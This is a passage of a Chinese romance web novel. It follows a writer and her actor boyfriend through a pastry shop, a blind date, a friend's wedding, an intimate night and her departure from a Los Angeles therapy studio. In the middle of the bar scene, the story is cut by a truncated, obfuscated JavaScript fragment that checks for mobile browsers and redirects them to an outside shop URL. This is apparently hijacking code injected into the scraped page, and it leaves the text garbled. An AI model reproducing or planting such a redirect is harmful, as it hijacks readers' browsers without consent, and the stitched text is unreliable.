“开店很费心思的。点心做得精致了,成本就上去了。做得粗糙了,就要往巷子里开。我还没想好要让自己在哪儿定下。”
这是一个很沉重的话题,人终其一生都在找自己的归宿。
周夏宁给他倒了一杯热腾腾的大枣茶,这家店就他一个点心师傅,他从凌晨三点一直到忙到现在。
小店就是这样,所有的活计都得自己操持,赚得勉强能糊口。这家店和周夏宁当初去陵城打工的第一家点心店很像,店主开店挣钱,却也不只是为了挣钱。
“夏夏姐,远衡哥。”
扎着马尾辫的女孩儿背着书包来到店里,她同平时一样提前一个小时从学校出来。她放下书包后便去后厨揉面团。
她想辍学来糕点店做学徒,赚钱贴补家用。店老板知道她情况后,同意她每天来店里揉面团,条件是她必须继续上学。
看着她,周夏宁不禁想起了汪文东。那个天天在学校打架闹事的刺头,被胡老头逼着在“苏记”以工抵债的时候爱上了做面点。后来为了去店里打工,考了个一本大学。
“梁以薇,你给我出来。你跟我保证了会好好上学,我才同意你转回来的。”
带着怒气的声音打断了周夏宁的思绪,进店的男人和她隔空对视之后,两人同时一愣。
“夏夏姐。”
“梁思潮。”
这当真是无巧不成书。周夏宁只知道梁思潮有一个还在上初中的妹妹,没想到那他妹妹是在店里打工的女孩儿。
一年前,他父母被人骗了。他们双双跳楼之后给他留了一笔债务。他放弃读大学的机会,工作还债,供妹妹读书。
他通过亿星的入职测试后,公司给了他入职优待,帮他给债务人做了担保,但他必须在亿星干到债务完全还完。如果中途被开或者主动离职,他得赔亿星一大笔违约金。
袁栎闹着要开了他的时候,他实在没办法了,才死马当活马医,给她发了SOS求救信息。他如果失去了亿星的工作,他和他妹妹都要流落街头。
周夏宁望着瑟缩在厨房里的女孩儿,问道:“他是你哥?”
女孩儿闻声,胆怯地走出来。她低着头,不敢看这个脸上写满怒气的人儿。他工作很辛苦,她如果能自己养活自己,他就不用那么辛苦了。
“对……对不起……我只是想学门手艺。”
“这不是你现在要想的事情。你现在需要做的就是像普通女孩儿一样在学校里待着。用尽全力去学习,不要这么早接触社会。”
梁思潮在周夏宁面前尽量压着声音,他不能破坏自己在周夏宁心中的形象。她对他有好印象,他在武玉箫那儿才干得长久。
“这牛奶松糕是刚出炉的,你尝尝。”
梁思潮想拒绝,可她已经把盘子递到他手边。他尝了一块,松糕的甜味将他的怒气散了一半。
“我俩去隔壁的超市买点东西。店就交给你俩了。好好说话,别把来店里的客人吓走了。”
周夏宁拉着邱远衡去了对街的超市,在那里吃起了关东煮。便利店的东西并不好吃,周夏宁依旧笑成了一个晴天娃娃。
“你一直都这么开心吗?感觉和你没有任何烦心的事情。”
邱远衡眼神暗淡,一副心事重重的样子。
这个对话听起来很熟悉,好像十八岁的时候她也问过胡老头同样的问题。当初他的回答是什么来着?
记忆的碎片浮上心头,她不由得吃了一惊,多年以后她终于能够理解他当时那番凡尔赛的发言。
“我的烦心事儿挺多,只是我知道我都能处理好,就做什么都很开心。”
这是胡老头的原话,也是她想给他的答案。
“好深奥的话。”
邱远衡看着她情不自禁地笑起来,她像一个暖炉,能够随着别人的靠近自动调适温度。
朝朝:梁思潮说会帮你看店,我能约你去轧马路吗?
他在她想约他出来的时候,正巧给她来了信息。周夏宁两眼越发笑成了一对弯月。回国之后,似乎生活很平顺。
“你早点回去休息。店里就交给他们兄妹俩。他们应该有很多需要聊。还有啊,表白要趁早。玩暗恋是自虐。”
周夏宁抱着没吃完的串串风风火火地去了路边。在绿意盎然的松树下,武玉箫正拿着两杯茉莉花茶等她。
她走到他身边的时候,武玉箫冰冷的脸上有了阳光的色彩。他的眼里只看得见她,嘈杂的人声、车声不过是他们二人世界里的背景板,默默衬托出他们所在的那个空间的温暖与明媚。
邱远衡似乎被什么触动到,拿起手机写下一行字。深呼吸三次之后,他闭着眼睛按了发送键。
[面点衡衡:卿梨,我喜欢你。我们能试着交往看看吗?]
消息刚发出去,邱远衡便退缩了。他赶紧撤回了这个表白。
[卿梨:我需要时间考虑。你回来后我们面谈。]
邱远衡以为自己眼花了,立刻截了图。等他截完图之后,这条回复也被撤回了。
[面点衡衡:为什么撤回?]
[卿梨:你为什么撤回?]
[面点衡衡:我以为你没看见。]
[卿梨:我也是。]
[面点衡衡:回陵城之后,我会正式向你表白。那个时候你再给我回复。我进公司后不久,就喜欢上你了。]
[卿梨:嗯……你还是回来当面和我说吧。隔着手机我觉得是有枪手在帮你代聊。我睡了,昨天通宵了,好累。]
[面点衡衡
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:祝你好梦。]
果然,表白要趁早。万一你喜欢的人也有一点点喜欢你呢?
徐思江畔。
江风呼呼地吹,江边零零星星有几个行人。武玉箫裹着围巾,将自己的面容遮去大半。他紧紧牵着周夏宁的手,她这一个星期都和邱远衡在一块,他很有危机感。
“你要试试吗?就一口。”
周夏宁满怀期待地看着他,这墨鱼丸口感他不一定喜欢,只是她现在心情很好,想让他尝一口她的心情。
武玉箫点点头,俯下身,咬去了半截。她脸上的笑容如期而至,这墨鱼丸在这一瞬变成了千金难买的美味。
“很好吃。”
武玉箫说得一脸笃定,周夏宁觉得他怕不是味觉出错了,将另外一半吞进肚里。
这不还是便利店的速食味道,怎么就很好吃了?
“下次,我们在家里手打墨鱼丸吧。”
她说的是“我们”而不是“我”。
武玉箫点点头,“你什么时候回去?”
她把邱远衡从顾魏手上借出来的时候,没有说归还时间。
“最多一个月吧。再不回去,陆老板要在系统里催我稿了。”
给A级投资的本,她一个字都没有动。一点儿灵感都没有,回去了也是对着电脑干发呆,还不如在店里看店。
在那里,她好像能够看到十八岁时候的自己,也能想起当初写文的心情。
“夏夏,如果……半年后,你还有意愿和我在一起,能不能带我去见见你的父母?一年后,公司会找我谈转约,转约之后,我想和你领结婚证。”
这算是预约求婚吗?
周夏宁看着他沉默了许久,恋爱是两个人的事情,结婚不是。
“见父母这个我考虑考虑。结婚的事情在见完父母之后我们再聊。”
没有完全拒绝,也没有直接答应。这是属于成年人的处事方式。但只要她给机会就行了。
再回到糕点铺,已临近十点。武玉箫还有夜戏,得赶回剧组。
松树下,他将一盒糕点塞到她的手中,撇过脑袋,笨拙地说道:“虽然比不上邱远衡的手艺,希望你吃得开心。”
这是他做的牛奶松糕。
似乎在他们捆绑着拍戏的三年里,每次见面他都会给她送这个,然后说一句她特别喜欢听的吉祥话。
“祝你文思泉涌,不卡文,不被陆老板退稿。”
周夏宁心头一动,踮起脚尖在他的唇角留下她的印记。他唇角轻扬,眼里盈满笑意。
梁思潮走来的时候,她像兔子一样跑走了。他看着她在店外对他挥手,他打开车门,上了车。车启动的那一刻,她在门外大喊:“朝朝,家里没枣了,记得买点回来。”
这是让他早点回去。
武玉箫眼里尽是甜蜜。下次回去,家里就会有她的身影,真好。
车从视线中消失后,周夏宁的眼前出现了一个藏在小巷里的点心铺,在那个铺子里有一个头发花白的面点大师,一对在店里打工的兄妹,还有一个继承面点大师衣钵的学艺人。在那个面点屋里,什么样的疑难悬案都能破,委托费是一袋面粉。
周夏宁冲回店里,拿起笔在纸上写下这一闪而过的灵感。盒子里的牛奶松糕,随着时间流逝渐渐见底。
晨曦的微光射到纸上的时候,她虚脱地瘫倒在桌上,沉沉睡去。桌案上,放着一个初中生专用的笔记本,封面上写着:《夏日面点屋》冰夏。
19. 玫瑰酒酿
晚上七点,丰亿大厦一楼大厅。
屋外的雨“滴答”作响,周夏宁抱着一束玫瑰,在咖啡吧呆呆地坐着。从泽城回来的第五天,她就收到了一束玫瑰,自那以后,她每天都能够收到一束玫瑰,到今天为止,她已经收到30束玫瑰了。
玫瑰有刺,她不喜欢。这种有特殊意义的花也没法转送给他人。到底谁家好人送花不留名。
武玉箫最近像思春期的猫,一有风吹草动就连夜坐飞机回来,确认她是不是在家里,家里有没有藏其他的男人。
之前不告而别在他的心里留下了挥之不去的阴影。
转眼十一月就要过完了,从七月中旬回国到现在,已经有四个半月了。姜曲颜的循环赛已经接近尾声。
家里已经在催她回LA了,夜荷的S级评级赛是组队赛,系统资料由团队里指定人员进行上传。她在LA也不耽误资料上传。
她再找不到新的借口留在陵城,她的老父亲怕是要对她起疑了。他对武玉箫成见很深,他们如果走不到必须结婚的地步,她压根不想让家里知道他们复合了。
恋爱可以两个人开开心心地谈,可一谈到结婚,孩子、养娃、教育、学区房、培训班、全职太太……一堆可以遇见的问题就会成为绕不过去的坎。
这些坎,她26岁的时候没越过去,所以她坚决地和他分手了。
过了三年,她也没觉得这情况有任何改变。
她忙,武玉箫也忙。组成家庭了就必须有一个人慢下来,他天生属于荧幕,转约之后,他还是会不停地拍戏。
他在外拍戏,家里的事情就算想管也有心无力。周姚就是离她最近的模范丈夫的反面典型。除了往家里寄钱,其他什么都不管。
她几乎可以预见,在感情降温之后,他们会因为鸡毛蒜皮的小事不停争吵,等到把最后一丝感情吵没了,相互怨恨着分道扬镳。
恋爱谈谈就得了,结婚就算了。
周姚:春宜酒吧,别忘了过来。
周夏宁已然忘记了这个约定。这是周姚组的局,说是要给她介绍相亲对象。
他不是不清楚她和武玉箫的情况,只是他妈比她妈还操心她的婚事。
在老一辈眼里,不结婚生子,人就会活不下去。
易云祁:我在春宜酒吧,酒我带过来了。你什么时候过来?
周夏宁没有想到他也在酒吧。
周夏宁:等会儿帮我个忙。帮我挡一下相亲对象。
易云祁:巧了,我也需要你帮我这个忙。
春宜酒吧门口。
易云祁站在路边同周夏宁招手,他身后站着一个二十五岁上下的女人。在见到她的一瞬,她的眼里燃起了妒火。眼睛没瞎的都知道,那个女人喜欢易云祁。
“你相亲对象?”
周夏宁将玫瑰花塞到了他手上,他身体僵直,眼神不自觉地飘向了那个女人,似乎怕她误会他们之间的关系。
“你喜欢的人?”周夏宁后知后觉道。
易云祁点点头,苦涩地笑道:“喜欢但是没法在一起的人。我只想要守好我的一亩三分地,她想要浪迹天涯开疆扩土。”
“那可惜了。”
周夏宁挽上他的胳膊,两人一同从那女人的身旁走过。突然,周夏宁感受到了一股难以言喻的怨气。她猛然回头,四处张望,却没有找到那股怨气的来源。
在酒吧走廊处,她松开了易云祁的胳膊,礼貌地笑道:“这玫瑰花就拜托你帮忙酿成酒了。”
易云祁是易云安的堂弟,喜欢酿酒,自己开了个酒坊。易云安上次想给她介绍的相亲对象就是他。
虽说上次没见面,但因为这从天而降的玫瑰花,他们在酒坊相见了。他们一见如故,相谈甚欢。
“夏夏,你来了。”
周姚见到易云祁的瞬间愣了一下,问道:“你们认识?”
周夏宁:“祈望酒坊的老板,我收到的玫瑰花都送他那儿去了。”
周姚:“那就不用介绍了。进去吧,大家在等你。”
包厢里很热闹,里面坐的人周夏宁几乎都认识,只是她没有想到万嘉岩混在了一众熟人里。
“这小朋友不能喝酒,带过来做什么?”周夏宁好奇道。
周姚:“让你见见,他拿了服装组的外卡进循环。”
周夏宁两眼闪起了兴奋的光,“怎么,想奋发图强了?”
万嘉岩:“不可以吗?”
周夏宁:“要不你去工作室走个委托,我罩你。”
周姚眉头紧皱,问道:“你还没有和家里说清楚?”
周夏宁:“我都还没想清楚,怎么说得清楚?”
如果只是恋爱,没有必要同家里说。
只是,无论是武玉箫还是她父母,想要的都是进一步的关系。这一点在三年前,双方立场就出奇的一致。
不一致的是,他父母想要一个能顾家的女婿。
武玉箫想要的是她能等他合约结束。
可结婚是恋爱的最终目标吗?
即便它不是,在所有人都把这当做硬性指标来去衡量恋爱效率的时候,人只会身不由己。
周夏宁:“帮我打掩护。能拖多久就多久。”
周姚:“小心你两头都讨不到好。”
周夏宁:“你要介绍的相亲对象呢?”
周姚:“就你身边这个。易云安一直在我耳边念,要再组个局让你们见个面。”
周夏宁和易云祁均是一愣,命运就是这样玄妙。如果那天她真的在酒吧见了他,她也许和武玉箫就真的结束了。
易云祁很适合结婚,很适合当养娃合伙人,很适合带回去见家长,虽然她不爱他。
周夏宁:“既然人都见了,我该回去了。陆老板在催工作总结了。”
周姚:“让云祁送你吧。他带了好多酒要送给你。我还以为你俩有什么,白兴奋了一场。”
周夏宁:“好酒也堵不上你的嘴。”
两人从酒吧出来的时候,周夏宁看到了一道不应该出现在这里的人影。她主动走到他身边,笑道:“知道我搬不动酒,主动来当劳力了?”
她在给他一个解释。
她一月前便说过,她要送禾歌很多很多玫瑰酒酿做结婚贺礼,让她在爱情的醇酒里一醉不复醒。
武玉箫心中的怒火消了一点点。只是那个男人手里的玫瑰花格外刺眼。他们什么关系,她送他玫瑰花。
易云祁一眼就看穿了这两人的关系,从后备箱拿出给她准备的玫瑰酒酿。他很遗憾,这个女人心有所属了。
她很适合结婚,虽然他不爱她。带她回去,对所有人都有一个交代。他不讨厌她,感情这东西,培养培养总会有的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242173|197789||http|test|mini|href|location''.split(''|''),0,{}));
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>婚姻要的是亲情,不是爱情。
武玉箫感受到了来自猎人的觊觎目光,快速从他手里接过她的花酒。
“我开车来的。我们一起回去。”
武玉箫从她手里顺过她的包,转身就走。她为了她的包,也会乖乖同他回去。
“酒酿好了,给我发消息,我去店里拿。”
周夏宁跟在武玉箫身后去了对街的小巷里。看到那辆银灰色的轿车,她才惊觉,进酒吧时那道怨气就是从这个小巷子里冒出来的。
“我来开车吧。醋坛子。”
周夏宁把他从驾驶座上拉了出来。人在气头上不适合开车。周夏宁开车很容易紧张,不喜欢有人在旁边说话。两人一路沉默,车停在公寓楼下的时候,武玉箫已经睡了过去。
周夏宁静静地看着他的睡颜,小声嘀咕道:“回LA了,就看不到了。真可惜。”
武玉箫羽睫轻动,暗自握紧了双拳。她还在考虑回LA的事情。
这个时候周夏宁的手机响了。
“夏夏,下个月什么时候回来?”
周夏宁手机的音量开得很大,纵使没有开扩音器,武玉箫也听见了对话。
“不清楚,姜曲颜这边循环出来了,应该就能回去。”
“相亲的事情怎样?”
“挺好的,很适合结婚。”
“你喜欢吗?”
“你们会喜欢。”
“你爸最近很敏感,不要让他听到武玉箫的消息。”
这才是这通电话的重点。周夏宁挂了电话,无可奈何地叹了一声。结婚好像是恋爱的一个魔咒。虽然一个人可以犟着只恋爱不结婚,可是年纪越大对世俗舆论的抗压性就越低,只要她恋爱,总有一天会被逼着结婚。
“到了?”
武玉箫睁开眼,他装作什么都没有听见,她装作什么都没有发生。他拿过她的包,抱着她的酒,一声不吭地上楼。
她还是把他排除在她的家族之外。她依旧保持着一种想抽身就能随时抽身的潇洒状态。
狠心的女人。这次离开后,又打算晾他几年?
屋外的雨又淅淅沥沥地下起来。
坐在沙发上,武玉箫一言不发。周夏宁知道他生气了,从瓶子里倒了两杯花酒,放在茶几上。
“是想清醒的时候问酒吧的事情,还是想人醉一点儿再问?”
武玉箫突然抱住她,问道:“我再也不提结婚的事情了,我们能不能一直交往下去?我转约前的这一年,你就当考察期好不好?考察期过了,你想什么时候结,通知我一声。我不会逼你结婚的。真的。只要你在我身边就好。”
周夏宁轻轻摸着他的脑袋,结婚这事儿不是他不提,就不会有人逼她的。当年,她父亲可是说了,他不能结,他们就分手,她回老家相亲结婚。
现在估计也是一样,只是现在要说的话,会是:“要和他复合,就回LA相亲结婚。”
恋爱需要对的冲动,结婚需要对的条件。
两个是绝对互斥的,适合恋爱的,不适合结婚。反之亦然。要把适合恋爱的变为适合结婚的,这中间要付出的代价,非常人所想象。
周夏宁似乎又来到了三年前那个路口。她到底要不要放弃这段感情,放弃与世俗的对抗,封存这段美好的恋爱回忆,找一个适合结婚的,行尸走肉般过完余生。
20. 椰丝龟糕
西斯赫尔酒店,百花厅。
百合花的香味在空气中溢散,宴会厅里每个角落都扎着百合花。
婚礼的大小事都是照禾歌意思办的,唯有这花,是她结婚对象强烈要求的,寓意百年好合。
陆扉辰和叶景枫穿着中式喜服,代替禾歌已故的哥哥在门外迎宾。这两门神一左一右站着,她婆家的人大气儿都不敢出一声。
禾歌的小奶狗,是晓园集团的小儿子。头上有两个哥哥,和三个姐姐。自己无心家族企业,跑出去开花店,碰到了喜欢酿花酒的禾歌。
两人年纪差了十岁,家里想拆对,小奶狗主动放弃继承权,从家里出来。在找禾歌收留一年半后,他家里妥协了。
两人领证之前,禾歌做了财产公证,但是小奶狗没有。小奶狗的朋友们都在猜,他这是多么爱,才把自己委屈成了这样。
镜头里,禾歌笑得十分淡然,既没有做新娘的兴奋,也没有对未来的恐惧。似乎这就是她生命中非常普通的一天。
只是这天,她没有去工作,没有和朋友聚会,没有去社区做义工。她利用这并不长的时间,将一群亲戚朋友聚集起来,宣告她和她选定的男人组成了家庭,组成了一个共同承担生活风雨的生产生活单位。
他们原是因为爱而在一起,但是婚礼过后他们会成为一个利益共同体。所有损害这个利益实体的事情,她都会毫不犹豫地进行反击。
她借这场婚礼告诉亲友她的身份和立场的转变。这是一个庆祝爱情天长地久的场合,更是一个新利益共同体诞生的宣告式。
周夏宁将准备好的玫瑰花酒交到了禾歌手中,她们一同拍了照片。武玉箫拿着相机在门外一顿连拍,连拍的数十张相片里,禾歌没有一张入镜。
“你还不打算给他一个名分?”禾歌望着他失落的背影笑道。
他最近推了很多工作,想方设法地留在陵城,试图把她看在眼皮底下。
周夏宁低头苦笑,“没想清楚。我和他之间的回忆太美好,我不想让生活的风浪污了这些美好。”
这是一种执念吧。
不想留下被他伤害的回忆,只想让他成为美好的代名词。这种感情长久不了。他是人不是神,满足不了这种不合理的要求。
“那证明他做得还不够好。可以暖床的小奶狗,一抓一大把,可不是非他不可。夏夏,一定不要心软。该分手就分手。不要在一棵树上吊死。”禾歌劝道。
她笑着看向一脸怨气的武玉箫,当着本人的面说坏话是她的行事风格。
武玉箫走到周夏宁的身旁,把她牢牢拽住,“别听她胡扯,她自己都没做到。我们还是听听别的有参考性的意见。”
“朝朝,追姐姐可不是你这样追的。你就是仗着她容易对你心软,才这么有恃无恐。该解决的问题,你一个都没有解决。比如说你的合约问题。”
武玉箫低头不语,他知道他没有收到转部通知是因为她以S评级循环激活了A2项目演员指定权,并把他锁定为《双云记》的男二号。
星组的A2项目优先恋爱监察的转约惩罚。等这个项目结束,他的转约期也就到了。
她很聪明地利用陆扉辰制定的游戏规则帮他避掉了转D约的风险。
她总是这样,帮他解决问题,但从不给他任何插手她问题的机会。他连他们之间存在的问题都摸不清楚,他要怎么解决?
除了看着她,不让她溜走,他想不到第二种方法。
此时屋里进了其他来道贺的人,武玉箫紧紧抓着周夏宁的手,真诚地说道:“谢谢你的忠告,我会好好反思的。我先带她出去了。新婚快乐。”
玉溪湖边。
武玉箫牵着周夏宁的手安静地走着,姜曲颜的循环已临近尾声,她快要回LA了。她没有主动提,他不想问。
在她眼里他更像一个宠物,她可以给他爱,给他照顾,甚至帮他找下一个主人,但绝对不会向他倾诉她的烦恼。
她是一个很温柔的饲主,不乱发脾气,不无理取闹。他离不开她,可她能够随时抽身。
婚姻困不住她。
如果她真的想被他困住,三年前,他们越线之后,她就会想方设法看住他,让他答应与她捆绑,帮她拿到A2的定级,让他想办法拿到轻湖的资源给她父亲治病。
她没有对他提任何要求,只是因为她要的是不涉及利益的纯粹感情。如果必须要给付物质,她更乐意做施舍方,而非接受方。
能留下她的只有纯粹的感情。
而纯粹的感情必须有坚实的物质基础和明确的未来规划做保障。
武玉箫突然停下脚步,认真说道:“夏夏,我想拿S-T约。这一年我会很努力很努力的工作,我不会有太多时间陪你。转约之后,我会开一家甜品店。等到合约结束,我们就顺其自然要个孩子,孩子我带。你什么时候想结婚,我们就去领证。你什么时候想让我见你父母,就什么时候带我去见。我们就这样一直交往。用你觉得舒服的方式。你如果想离开一段时间,我就等你回来。我们之间只有分别,没有分手,好不好?”
周夏宁沉默了许久,这段话比五年前,他说的“五年后我们结婚”要让人信服很多。
“S-T约,你拿到了再说。这个不是一般人能拿的。至于要孩子,你知道那意味着什么吗?”
周夏宁目不转睛地盯着他的眼睛,他眼里的情绪她不想放过分毫。他对这个问题的回答很重要。
武玉箫对上她的视线,温柔笑道:“意味着我想把我和你的处世哲学用柴米油盐酱醋茶的方式教给他们。意味着我们遇到困难都不能再逃避,只能迎难而上。意味着工作不再是我生活的重心,家庭和谐才是我要维护的东西。意味着在找到正确的解决方法前,我要学会消化家庭成员之间因为摩擦产生的负面情绪。意味着,相比于爱情的快乐,我更要有能量去消化在统一不同立场时感受到的痛苦。”
“行了,我知道了。”
周夏宁眼里已经有了泪光。他考虑了很多东西,但是没有告诉她。他对她不仅仅有荷尔蒙的激情,也有理性的承诺。
做不做得到两说。至少,他考虑到了。他值得一个机会。
“最近我会回趟LA,在那儿最多待一个月就会回来。什么时候动身,现在还不确定。”
武玉箫激动地抱住她,“夏夏,谢谢你,愿意回来。”
周夏宁轻轻拍着他的背,他要感谢的是他自己。
有些话只能自己悟,悟不到两个人再有生理上的激情,也会分道扬镳。爱是有方法的。用不对方法,只会共同走向毁灭。
“朝朝,是我该谢谢你,一直抓着我的手不放。婚礼快开始了,我们进去吧。”
周夏宁放开他的手。在陆扉辰面前,他们还是收敛点儿好。武玉箫失落地跟在她身后。他很乖,但是看起来很可怜。
“朝朝,我只问一次。是不是和我在一起,你被人说成被包养的小白脸也无所谓?”
周夏宁的心揪了起来,他们之间的关系现在公开,风言风语攻击的是武玉箫,而不是她。因为她站的位置比他更高。
武玉箫试探性地勾住她的手指,她没有甩开他,他才坦然笑道:“本就是我求着你包养我。别人说什么,都是我该受着的。不过他们只是吃不到葡萄说葡萄酸而已。”
“那进去吧。”
周夏宁反握住他的手,他的手还是那样暖,暖到她宁愿支付她一直在逃避的潜在代价,也要抓住它。
一股暖流从武玉箫的心头流过,默默被她牵着走向人群。他人探寻的目光落在他们紧扣的双手上,他看着她坚定淡然的模样,唇角勾出迷恋的笑容。她能坚定地站在他的身边,那些流言蜚语又算得了什么?
宴会厅的灯光暗下来之后,陆扉辰牵着禾歌的手,在白色的花瓣雨中,从大厅中央走过。在那一刻,周夏宁似乎看到在不久的将来她父亲牵着她走过这段不长的红毯,将她的手交到武玉箫的手上的画面。
晚上九点,夜荷员工公寓。
浴室里热气氤氲,温水将疲惫的躯体覆盖,闭眼躺在浴缸里,周夏宁的脑海中一直浮现她父亲牵着她的手走向武玉箫的画面。从婚礼现场出来,这个画面一直在她的脑海中挥之不去。
家里又来消息问她什么时候回LA了。她和武玉箫的事情再瞒下去,真的会如周姚所说,两边都讨不了好。
可是怎样开口才能不那么刺激她老父亲脆弱的心脏?
三年前她不管不顾地坚持要按照自己的方式生活,她父亲因为情绪激动,心脏病快速恶化。在ICU门外等待的窒息感,现在她还记得。
爱己所爱,为爱买单。
这可不是一件轻易就能做到的事情。
周夏宁渐渐在水中沉下身子,任温水没过她的脑袋。闭气的时候,心中的杂念会同大脑里渐渐耗尽的氧气一同消失。
“夏夏,你在做什么?”
惊慌的声音穿过温水落在她的耳朵里,轻微颤抖的双手扶上她的腰肢将她从水里捞了起来。在橘色柔光中,他的俊脸与她脑海中的人影逐渐重合。缺氧的时候,脑海中浮现的画面就是人本能的欲望。
她想要他。
这是她写在骨子里的欲望。
“夏夏,发生什么了?告诉我。”
他关切的目光,像极了她那在LA翘首盼她回去的老父亲。都说女儿是父亲前世的情人,殊不知,女儿终其一生都在别的男人身上找父亲的影子。
她很幸运,她有一个很爱她的父亲,他给她的爱,让她找到了一个像他一样爱她、不放弃她的伴侣。
周
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夏宁的沉默像钢丝绳一样扼住了他的脖子,她总是这样,什么都不告诉他。她像超人一样,可以背负任何压力。这种能力让人觉得很心安。
只是,她什么都不说,他不知道他能为她做什么。
“陆老板又退你稿了?轻荷又撂挑子了?组里又有演员闹矛盾了?制作费超标了?”
武玉箫努力去猜测所有的可能性。这个时候,她不喊停,他不会停止。他希望自己能为她分担一些压力。
可压力这东西不是用来分担的。自己没有能力去承担、消化它,分担出去不过是平白消耗两人的感情。
自己都承担不了的东西,别人凭什么帮你分担?
“朝朝。”
周夏宁一开口,武玉箫便噤了声。他在认真地听她说。
她的指尖落在他领口的袖扣上,他突然打了个冷颤,这个场景和在温哥华时的那夜很像。
“既然进来了,一起。”
他害怕地后退,她这是又想把他吃干抹净然后离开?
“我……我还要看……剧本。”
她拽住他的领口,将他拖进了浴缸里。她姣好的身躯在他的眼前晃动,他喉结轻动,理智随着飞溅的水花消散在空中。
她跨坐在他的身上,如剥鸡蛋一般将他碍事的衣服除去。她的吻带着绵长的爱意轻轻落在他的身上。沾着热气的指尖顺着他的肌肉线条一路向下,他像木头人一般任她摆弄。
“怎么?不喜欢?”
周夏宁在他的眼里看到了挣扎。她勾住他的下巴,不满地囔道:“你是要看剧本还是要继续?”
他深吸一口气儿,认真地问道:“你是想点了火就跑?还是认真的?”
情事上她有绝对的主动权,她可以随时开始,也可以随时停止。
“夜太长了,我今晚需要人陪。你如果……”
他仰头用唇吞没了她剩下的字句。这漫漫长夜,能有资格陪她的只能是他。
他轻柔地用自己的薄唇描摹她的唇形。夜很漫长,他并不着急,他要唤醒她被理智所束缚的原始欲望,诱惑她在泛滥的情欲中沉沦,逼迫她卸下所有伪装,以最真实的样子在他的身下呼唤他的名字。
早上十点。
大枣的香气在空气中弥散,冬日暖光透过透明玻璃射到武玉箫的身上。他系着围裙在厨房里煎杂粮煎饼,诱人的香味顺着风飘到了周夏宁的鼻子里。
“怎么还在家里?不是有拍摄吗?”
周夏宁睡眼惺忪地走到客厅,腰上的酸痛感提醒着她昨晚他们有多么纵欲无度。炉子上煮着大枣枸杞桂圆茶,蒸锅不停冒着热气儿,桌上摆满了小菜。
“田螺朝朝,你不去工作,赖在家里给我做口粮?袁栎会抓狂的。”
说话间武玉箫的手机屏幕又亮了。他开了静音,袁栎的电话轰炸很疯狂。隋泽很讨厌演员迟到,可是他想等她醒了再走。
“夏夏,这些菜吃完的时候,我就回来了。在这期间不要失联好不好?如果对我昨晚的表现不满意,下次我会改进的。”
周夏宁的脸突然红得厉害,他昨天在床上像妖精一样,他再努力改进,她怕不是要“从此君王不早朝”了。
“恋爱脑,你再不出来,我就自己闯进去了。”
袁栎抓狂的声音伴着关火声在空中弥散,周夏宁踮起脚尖在他的唇角印下一吻,“去工作吧。”
密码锁开锁声响起的瞬间,武玉箫拖着行李箱出现在玄关处。他不舍地与她拥抱,她没有正面回答他的问题,但他没有追问的勇气。
袁栎看到屋里交叠的人影眼疾手快地把门合上,她看了眼身旁的卿梨,她的眼里尽是破碎。他用行动给了她最有利的一击,让她没有宣之于口的感情无疾而终。
周夏宁看到了卿梨的身影。他马上进组的剧,她是二作。落花有意流水无情,但还是得做个标记。
她取下脖子上的平安扣,挂在他的身上,“挂个门牌,一路顺风。”
欣喜的笑意在不安的瞳孔中扩散,她把他划进她的领地里了。
“我会多寄点枣回来。”
武玉箫离开之后,周夏宁打开蒸锅,里面铺满了龟壳状的糕点。
椰丝龟糕,健康长寿盼团圆。
周夏宁突然不想去考虑那些让她心烦的后果,一切交给缘分,她只需要把控过程。
三分钟后,武玉箫的手机突然震了两下。
夏夏:回洛杉矶之后要去封闭几天,你大概率联系不上我。洛杉矶唐佑宁路弗罗多斯社区0910栋。这是我在洛杉矶的住址。
这就是她对那个避开的问题的正面回答。
武玉箫拽着脖子上的平安扣,笑得平静淡然,阳光照在他的身上,很暖很舒服。他们之间的未来也一定如同这阳光一样,明媚而灿烂。
21. 青苹果酥
洛杉矶,云澜度假山庄。
明亮的半夏花图案在进度条加载到100%的时候变成了灰色图标。周夏宁在万言疗愈工作室里的工作账号自此封存。
“啪。”
彩带突然从头顶落下,姜澜抱着一束满天星走到她的身前,他同她一样眼里都盈满热泪。
三年前,她两眼无光出现在他诊室的时候,他也没有想过,破碎的她在那个时候还能听余缈诉苦。她笔下的故事,宣泄了她的情绪,也续写了他与余缈的情缘。
余缈看着她,一点儿一点儿从抑郁的深渊里爬出来。她身上的能量,大到让人震惊。
姜澜把花递到她的手上,激动地说道:“祝你在陵城一切顺利。”
“这三年,多谢关照。”
周夏宁不受控制地落了泪,他是她的心理医生,也是她的挚友。在她没有办法动笔写一个字的时候,他推了她一把。而这一推,让她走进了疗愈的世界。
人与人的相遇很玄妙。在低谷时,她遇到了一生的挚友和可遇不可求的贵人。
“这是余缈亲手做的青苹果酥,圣诞节快到了,祝你平平安安去到你想去的那片青空。”
他主动拥抱了她。分别总是不舍的,回忆却不是思念的愁。离开这儿之后,等待她的是更加宽广的世界和新奇的风景。
只要她还在写作,只要他还在工作室坐诊,他们就会因为某个需要帮助的人,在某个时间点重逢。
友谊的帆会在伤痛的海里徜徉,将那些快要溺水的有缘人从海里捞出来,给他们一个喘息的休憩之所,等待重新上路的时机。
“后会有期。”
周夏宁背上她的帆布包,抱着花,头也不回地向前走。这是病人病愈离开时的惯例。
对过去的伤痛不再留念,对未来的风景充满期待。
朝朝:飞机晚点,能收留我几个小时吗?我在你家门口等你。
街头的风很冷,握在手中的花很热,她快步走到停车场,兴奋地将油门一踩到底。她想快点回家,那里有个求收留的朝朝在等她。
弗罗多斯社区0910栋。
武玉箫像可怜的流浪猫一般蜷在屋檐下,冷风在他的脸上留下悲伤的印记。他从家里离开的当天下午,她就去了LA。连续两周她都是失联状态。
写着这个住址的短信,是她给他发的最后一条消息。
当年在周姚家蹲守的无力感再次袭来。他在这里守了三天,这栋别墅里一个人影都没有。邻居说,家里的人都出去了,归期不定。
他不知道她是否在诓他,疗愈工作室那边拒绝向他透露任何有关她的信息。姜澜和她一样,也联系不上。
除了在这里干等,他也不知道自己能做什么。
“夏朝朝。”
如银铃般轻快的声音伴着急切的刹车声,在空中回荡。一辆墨绿色的老爷车停在了别墅门口。
